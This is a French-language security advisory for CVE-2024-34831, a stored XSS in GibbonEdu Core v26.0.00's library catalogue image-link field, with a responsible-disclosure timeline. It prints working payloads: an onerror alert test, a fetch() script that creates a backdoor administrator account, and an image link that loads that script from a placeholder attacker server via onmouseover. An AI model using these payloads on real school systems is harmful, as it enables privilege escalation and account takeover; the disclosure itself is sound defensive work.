CVE-2024-34831 Vulnérabilité XSS dans GibbonEdu Core v26.0.00 menant à une escalade de privilèges

Gibbon est un excellent système de gestion scolaire open source complet. Beaucoup d'efforts sont déployés pour remanier la base de code plutôt ancienne.

Auteur : Christian Bajada

1. Vulnérabilité

Le paramètre imageLink lors de la modification/soumission de nouveaux livres (/modules/Library/library_manage_catalog_editProcess.php) est vulnérable aux XSS. Les utilisateurs disposant de l'autorisation Gérer le catalogue peuvent exploiter cette vulnérabilité, provoquant l'exécution de scripts arbitraires pour les utilisateurs ayant des autorisations plus élevées et élever leurs privilèges.

2. Scénario simple de PoC

1. Naviguez vers Learn > Library > Manage Catalog
2. Modifiez l'un des articles du livre.
3. Le champ Image Link n'est pas correctement assaini et nous permet d'exécuter du JavaScript arbitraire. Modifiez le lien de l'image en [http://x](http://x/)" onerror='alert(1)' et le code d'alerte s'exécutera lors du chargement de la page de la bibliothèque :

3. PoC pour l'escalade de privilèges

Cette section explique comment cette vulnérabilité peut être utilisée pour quelque chose de plus dangereux qu'une simple fenêtre contextuelle d'alerte (1). Nous allons tromper un administrateur connecté pour qu'il crée un autre administrateur, accessible par l'attaquant.

Le champ imageLink est trop petit pour nous permettre d'invoquer des fonctionnalités significatives sur la plateforme Gibbon. Ce que nous pouvons faire, c'est simplement héberger le JavaScript ailleurs et le faire télécharger et exécuter par le navigateur. L'absence de CSP rend cela possible.

1. L'utilisateur malveillant fabrique la charge utile pour créer un utilisateur administrateur comme suit et la place dans un emplacement accessible publiquement, par ex. https://<yourserver.com>/payload.js. Le code ci-dessous, s'il est exécuté par un administrateur, créera un utilisateur administratif nommé hexthecat. Le code appelle la fonction de Gibbon Core pour créer un nouvel utilisateur avec tous les paramètres requis.

fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });

2. L'utilisateur malveillant de Gérer le catalogue saisit le lien d'image suivant pour un livre (en conservant l'original et en ajoutant la partie de chargement du script) :

http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"

3. L'administrateur parcourt la bibliothèque.

Vous devez soit attendre que l'administrateur navigue vers le catalogue de la bibliothèque, soit le convaincre via messagerie instantanée, email ou tout autre canal.

Le fait de survoler avec la souris (onmouseover) l'image du livre entraînera la récupération de la charge utile depuis l'emplacement (dans ce cas <yourserver.com>) et son exécution. Cela conduit à la création d'un utilisateur administrateur que l'utilisateur malveillant peut désormais utiliser. L'écouteur 'onerror' peut également être utilisé pour exécuter la charge utile immédiatement plutôt que de devoir survoler l'image.

Vous pouvez vérifier l'utilisateur créé dans le menu ADMIN > User Admin

4. Divulgation responsable

Publié conformément aux directives de divulgation responsable https://github.com/GibbonEdu/core/security.

• 06 mai 2024 : Vulnérabilité signalée et reconnue par le mainteneur de GibbonEdu.
• 15 mai 2024 : Numéro CVE attribué par MITRE.
• 10 septembre 2024 : Avis publié.